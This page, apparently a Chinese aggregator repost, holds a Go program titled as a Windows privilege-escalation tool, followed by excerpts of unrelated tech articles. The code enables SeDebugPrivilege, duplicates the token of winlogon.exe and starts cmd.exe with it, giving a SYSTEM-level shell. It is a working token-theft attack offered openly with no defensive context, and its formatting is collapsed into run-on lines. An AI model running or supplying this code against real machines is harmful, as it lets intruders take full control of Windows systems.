golang实现windows提权

golang实现windows提权

package mainimport ("fmt""syscall""unsafe""github.com/shirou/gopsutil/process""golang.org/x/sys/windows"
)const (TOKEN_ALL_ACCESS     = 0x000F01FFSE_PRIVILEGE_ENABLED = 0x00000002TOKEN_DUPLICATE      = 0x00000002
)var (modadvapi32             = syscall.NewLazyDLL("advapi32.dll")createProcessWithTokenW = modadvapi32.NewProc("CreateProcessWithTokenW")
)func CreateProcessWithTokenW(Token windows.Token,LogonFlags uint32,ApplicationName *uint16,CommandLine *uint16,CreationFlags uint32,Environment **uint16,CurrentDirectory *uint16,StartupInfo *windows.StartupInfo,ProcessInformation *windows.ProcessInformation) bool {r0, _, _ := createProcessWithTokenW.Call(uintptr(Token),uintptr(LogonFlags),uintptr(unsafe.Pointer(ApplicationName)),uintptr(unsafe.Pointer(CommandLine)),uintptr(CreationFlags),uintptr(unsafe.Pointer(Environment)),uintptr(unsafe.Pointer(CurrentDirectory)),uintptr(unsafe.Pointer(StartupInfo)),uintptr(unsafe.Pointer(ProcessInformation)))return r0 != 0
}func SetPrivilege() error {var hToken windows.Tokenerr := windows.OpenProcessToken(windows.CurrentProcess(), TOKEN_ALL_ACCESS, &hToken)if err != nil {return err}hToken.Close()var tp windows.Tokenprivilegestp.PrivilegeCount = 1tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLEDvar luid windows.LUIDse, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")windows.LookupPrivilegeValue(nil, se, &luid)tp.Privileges[0].Luid = luidwindows.AdjustTokenPrivileges(hToken, false, &tp, uint32(unsafe.Sizeof(windows.Tokenprivileges{})), nil, nil)return nil
}func GetProcessIdByName(targetname string, sessionID uint32) uint32 {pids, _ := process.Processes()for _, p := range pids {name, _ := p.Name()if targetname == name {var sesID uint32 = 0windows.ProcessIdToSessionId(uint32(p.Pid), &sesID)if sesID == sessionID {return uint32(p.Pid)}}}return 0
}
func main() {err := SetPrivilege()if err != nil {fmt.Println("Error:", err)return}// CMD := "cmd.exe"targetProcess := "winlogon.exe"sessionID := windows.WTSGetActiveConsoleSessionId()if sessionID != 0xffffff {processId := GetProcessIdByName(targetProcess, sessionID)if processId != 0 {targetProcessHandle, _ := windows.OpenProcess(0x400, false, processId)defer windows.CloseHandle(targetProcessHandle)var targetProcessToken windows.Tokendefer targetProcessToken.Close()err := windows.OpenProcessToken(targetProcessHandle, TOKEN_DUPLICATE, &targetProcessToken)if err != nil {fmt.Println("windows.OpenProcessTok", err)return}var impersonationToken windows.Tokendefer impersonationToken.Close()err = windows.DuplicateTokenEx(targetProcessToken, TOKEN_ALL_ACCESS, nil, windows.SecurityIdentification, windows.TokenPrimary, &impersonationToken)if err != nil {fmt.Println("DuplicateTokenEx", err)return}var si windows.StartupInfovar pi windows.ProcessInformationsi.Cb = uint32(unsafe.Sizeof(si))Desktop, _ := syscall.UTF16PtrFromString("winsta0\\default")si.Desktop = DesktopCMDStr, _ := windows.UTF16PtrFromString("cmd.exe")status := CreateProcessWithTokenW(impersonationToken, 0, CMDStr, nil, windows.CREATE_NEW_CONSOLE, nil, nil, &si, &pi)if !status {err = windows.CreateProcessAsUser(impersonationToken, nil, CMDStr, nil, nil, false, 0, nil, nil, &si, &pi)if err != nil {fmt.Println("CreateProcessAsUser", err)return}}}}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/819352.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【计算机考研】408网课汇总+资源分享

408王道的视频就比较通俗易懂 王道的教材非常契合408的大纲,是专门为408大纲而编写的,而教材是方方面面都讲解的透彻。 建议王道为主,网络搜索为辅! 王道中讲解不清楚,看不懂的知识点,可以尝试在网络上进…

LeetCode 热题 100 Day03

普通数组 常见的题型有: 取模、区间合并、最大子序列和、最长非0子序列等。 一些解题思路很巧妙,多练多总结。 Leetcode 53. 最大子数组和 [dp动态查找最大值] 题目理解: 给定一个整数数组, 求一个连续的子序列 该子序列满足和最大 要求返回最…

基于openssl实现TCP双向认证

文章参考 深入探索 OpenSSL:概念、原理、开发步骤、使用方法、使用场景及代码示例 c使用OpenSSL基于socket实现tcp双向认证ssl(使用TSL协议)代码实现 SSL握手通信详解及linux下c/c SSL Socket代码举例(另附SSL双向认证客户端代码) SSL/CA 证书及其相关证书文件(pem…

使用 Rust 和 DDD 构建 API 服务器

Introduction 介绍 I tried implementing an API server using Rust and the Axum framework. 我尝试使用 Rust 和 Axum 框架实现 API 服务器。 Target Audience 本文受众 Those who want to implement an API server with Rust. 那些想要用 Rust 实现 API 服务器的人。Those w…

如何查看docker配置的镜像仓库

在Docker中,想要查看配置的镜像仓库(注册表)地址,可以通过查询Docker守护进程的配置来实现。在Linux系统中,Docker守护进程的配置文件通常位于 /etc/docker/daemon.json。该文件中可能会包含registry-mirrors配置项&am…

【Delphi 爬虫库 2】使用封装好的 JSON 解析库对 JSON 数据进行解析

当我们使用GET或POST方法获取到JSON数据时,我们需要对其进行解析。倘若我们使用现有的JSON解析库,这一过程将变得异常简单。在前文中,我们获得了一个翻译结果的JSON数据,具体如下所示 {“sessionUuid”:“translate_uuid171308666…

贪心算法先导

贪心算法其实就是没有什么规律可言,所以大家了解贪心算法 就了解它没有规律的本质就够了。 不用花心思去研究其规律, 没有思路就立刻看题解。 基本贪心的题目 有两个极端,要不就是特简单,要不就是死活想不出来。 学完贪心之后再…

算法训练营第41天|LeetCode 343.整数拆分 96.不同的二叉搜索树

LeetCode 343.整数拆分 题目链接: LeetCode 343.整数拆分 解题思路: 递推公式:一个数n是由1到n-1和另一个数的分解而来的,而另一个数是由更小的数分解而来的。 代码: class Solution { public:int integerBreak(…

Springboot+Vue项目-基于Java+MySQL的校园周边美食探索及分享平台系统(附源码+演示视频+LW)

大家好!我是程序猿老A,感谢您阅读本文,欢迎一键三连哦。 💞当前专栏:Java毕业设计 精彩专栏推荐👇🏻👇🏻👇🏻 🎀 Python毕业设计 &…

SU-03T语音识别

语音识别的由SU-03T、咪头、喇叭、还有一个CH340串口组成。SU-03T不需要代码的写入,直接可以进行配置就可以使用,极大降低了开发难度。 为客户提供超低成本的离线语 音识别方案,可广泛且快速应用于智能家居,各类智能小家电&#x…

【BlueDroid】【BLE】开关广播\扫描\配对\连接分析

1. 精讲蓝牙协议栈(Bluetooth Stack):SPP/A2DP/AVRCP/HFP/PBAP/IAP2/HID/MAP/OPP/PAN/GATTC/GATTS/HOGP等协议理论 2. 欢迎大家关注和订阅,【精讲蓝牙协议栈】和【Android Bluetooth Stack】专栏会持续更新中.....敬请期待&#x…

如何实现YOLOv8保存目标检测后的视频文件

首先安装所需的库和依赖项,确保你已经安装了OpenCV和YOLOv8的相关库和依赖项。你可以使用pip或conda来安装它们。 其次加载YOLOv8模型,使用YOLOv8的训练权重文件和配置文件,加载模型并进行初始化。这可以通过使用适当的库函数来完成&…

Java面试题:描述Java 17中的密封接口及其用途

Java 17是继Java 11和Java 16之后的又一个长期支持(LTS)版本,它于2021年9月发布。在Java 17中,一个重要的新特性是密封接口(Sealed Interfaces),这是对Java接口的增强,它允许接口有更…

【Git】Git的安装与常用命令

Git的安装与常用命令 一、Git的安装 (一)下载 官网下载:https://git-scm.com/downloads 镜像网站:https://registry.npmmirror.com/binary.html?pathgit-for-windows/ (二)安装 双击安装&#xff0c…

Elasticsearch分布式搜索

实用篇-ES-环境搭建 ES是elasticsearch的简称。我在SpringBoot学习 数据层解决方案 的时候,写过一次ES笔记,可以结合一起看一下。 之前在SpringBoot里面写的相关ES笔记是基于Windows的,现在我们是基于docker容器来使用,需要你们提…

安装jmeter和ant

安装jmeter和ant 安装java环境 安装jdk和jre 下载Java SE Development Kit 8 Java SE subscribers will receive JDK 8 updates until at least December 2030. 选择指定包进行安装,如windows 共享账号参考:Oracle官网 账号及密码 目前官网下载低…

springboot接口提高查询速度方法

接口想要提高查询速度&#xff0c;需要减少查询数据库的次数&#xff0c;需要把循环里面的查询提出来一次性查询完毕&#xff0c;然后通过java代码来获取响应的值。如下所示&#xff1a; List<OrderInfoHtVO> orderInfoList orderInfoService.getOrderInfoHtlist(query…

K12智慧校园-学工中心

1 系统概述 学工管理系统用于帮助学校学工部门负责拟定学院年度学生工作计划&#xff0c;提出年度学生工作思路及工作要点&#xff0c;并负责指导各系开展学生工作&#xff1b;负责学院的学风建设与校园文明督查&#xff1b;负责新生军训工作的组织、协调和安排&#xff1b;负…

顺序表 (头删 尾删 清空)

//头删 | 1 #include "head.h" | 1 #ifndef ww87 void head_del(p lp) | 2 int main(int argc, const char *argv[]) …

js纯前端实现语音播报,朗读功能(2024-04-15)

实现语音播报要有两个原生API 分别是【window.speechSynthesis】【SpeechSynthesisUtterance】 项目代码 // 执行函数 initVoice({text: 项目介绍,vol: 1,rate: 1 })// 函数 export function initVoice(config) {window.speechSynthesis.cancel();//播报前建议调用取消的函数…